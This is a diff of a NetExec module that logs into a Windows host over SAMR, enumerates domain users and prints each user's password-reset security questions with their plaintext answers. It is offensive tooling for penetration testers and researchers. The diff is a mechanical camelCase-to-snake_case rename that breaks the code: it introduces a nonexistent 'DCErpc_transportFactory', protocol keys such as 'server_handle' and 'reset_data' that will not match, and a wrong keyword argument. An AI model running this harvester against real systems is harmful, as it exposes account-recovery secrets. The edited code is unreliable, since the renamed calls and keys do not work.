44from json import loads
55from traceback import format_exc as traceback_format_exc
66
7-
87class NXCModule :
98 """
109 Module by Adamkadaban: @Adamkadaban
@@ -49,42 +48,42 @@ def on_admin_login(self, context, connection):
4948 self .getSAMRResetInfo (context )
5049
5150 def getSAMRResetInfo (self , context ):
52- stringbinding = f"ncacn_np:{ self .__targetIp } [\\ pipe\\ samr]"
53- rpctransport = transport .DCERPCTransportFactory ( stringbinding )
54- rpctransport .set_dport (445 )
55- rpctransport .setRemoteHost (self .__targetIp )
51+ string_binding = f"ncacn_np:{ self .__targetIp } [\\ pipe\\ samr]"
52+ rpc_transport = transport .DCErpc_transportFactory ( string_binding )
53+ rpc_transport .set_dport (445 )
54+ rpc_transport .setRemoteHost (self .__targetIp )
5655
57- if hasattr (rpctransport , "set_credentials" ):
56+ if hasattr (rpc_transport , "set_credentials" ):
5857 # This method exists only for selected protocol sequences.
59- rpctransport .set_credentials (self .__username , self .__password , self .__domain , self .__lmhash ,
58+ rpc_transport .set_credentials (self .__username , self .__password , self .__domain , self .__lmhash ,
6059 self .__nthash , self .__aesKey )
61- rpctransport .set_kerberos (self .__doKerberos , self .__kdcHost )
60+ rpc_transport .set_kerberos (self .__doKerberos , self .__kdcHost )
6261
6362 try :
64- dce = rpctransport .get_dce_rpc ()
63+ dce = rpc_transport .get_dce_rpc ()
6564 dce .connect ()
6665 dce .bind (samr .MSRPC_UUID_SAMR )
6766
6867 # obtain server handle for samr connection
6968 resp = samr .hSamrConnect (dce )
70- serverHandle = resp ["ServerHandle " ]
69+ server_handle = resp ["server_handle " ]
7170
72- resp = samr .hSamrEnumerateDomainsInSamServer (dce , serverHandle )
71+ resp = samr .hSamrEnumerateDomainsInSamServer (dce , server_handle )
7372 domains = resp ["Buffer" ]["Buffer" ]
7473
75- resp = samr .hSamrLookupDomainInSamServer (dce , serverHandle , domains [0 ]["Name" ])
74+ resp = samr .hSamrLookupDomainInSamServer (dce , server_handle , domains [0 ]["Name" ])
7675
7776 # obtain domain handle for samr connection
78- resp = samr .hSamrOpenDomain (dce , serverHandle = serverHandle , domainId = resp ["DomainId" ])
79- domainHandle = resp ["DomainHandle " ]
77+ resp = samr .hSamrOpenDomain (dce , server_handle = server_handle , domainId = resp ["DomainId" ])
78+ domain_handle = resp ["domain_handle " ]
8079
8180 status = STATUS_MORE_ENTRIES
82- enumerationContext = 0
81+ enumeration_context = 0
8382
8483 # try to iterate through users in domain entries for connection
8584 while status == STATUS_MORE_ENTRIES :
8685 try :
87- resp = samr .hSamrEnumerateUsersInDomain (dce , domainHandle , enumerationContext = enumerationContext )
86+ resp = samr .hSamrEnumerateUsersInDomain (dce , domain_handle , enumeration_context = enumeration_context )
8887 except DCERPCException as e :
8988 if str (e ).find ("STATUS_MORE_ENTRIES" ) < 0 :
9089 raise
@@ -93,14 +92,14 @@ def getSAMRResetInfo(self, context):
9392 for user in resp ["Buffer" ]["Buffer" ]:
9493 # request SAMR ID 30
9594 # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6
96- r = samr .hSamrOpenUser (dce , domainHandle , samr .MAXIMUM_ALLOWED , user ["RelativeId" ])
95+ r = samr .hSamrOpenUser (dce , domain_handle , samr .MAXIMUM_ALLOWED , user ["RelativeId" ])
9796 info = samr .hSamrQueryInformationUser2 (dce , r ["UserHandle" ], samr .USER_INFORMATION_CLASS .UserResetInformation )
9897
99- resetData = info ["Buffer" ]["Reset" ]["ResetData " ]
100- if resetData == b"" :
98+ reset_data = info ["Buffer" ]["Reset" ]["reset_data " ]
99+ if reset_data == b"" :
101100 break
102- resetData = loads (resetData )
103- questions = resetData ["questions" ]
101+ reset_data = loads (reset_data )
102+ questions = reset_data ["questions" ]
104103
105104 if len (questions ) == 0 :
106105 context .log .highlight (f"User { user ['Name' ]} has no security questions" )
@@ -111,17 +110,16 @@ def getSAMRResetInfo(self, context):
111110 context .log .highlight (f"{ user ['Name' ]} - { question } : { answer } " )
112111
113112 samr .hSamrCloseHandle (dce , r ["UserHandle" ])
114- enumerationContext = resp ["EnumerationContext " ]
113+ enumeration_context = resp ["enumeration_context " ]
115114 status = resp ["ErrorCode" ]
116115
117116 except Exception as e :
118117 context .log .fail (f"Error: { e } " )
119118 context .log .debug (traceback_format_exc ())
120119
121-
122120 finally :
123- if domainHandle is not None :
124- samr .hSamrCloseHandle (dce , domainHandle )
125- if serverHandle is not None :
126- samr .hSamrCloseHandle (dce , serverHandle )
121+ if domain_handle is not None :
122+ samr .hSamrCloseHandle (dce , domain_handle )
123+ if server_handle is not None :
124+ samr .hSamrCloseHandle (dce , server_handle )
127125 dce .disconnect ()
0 commit comments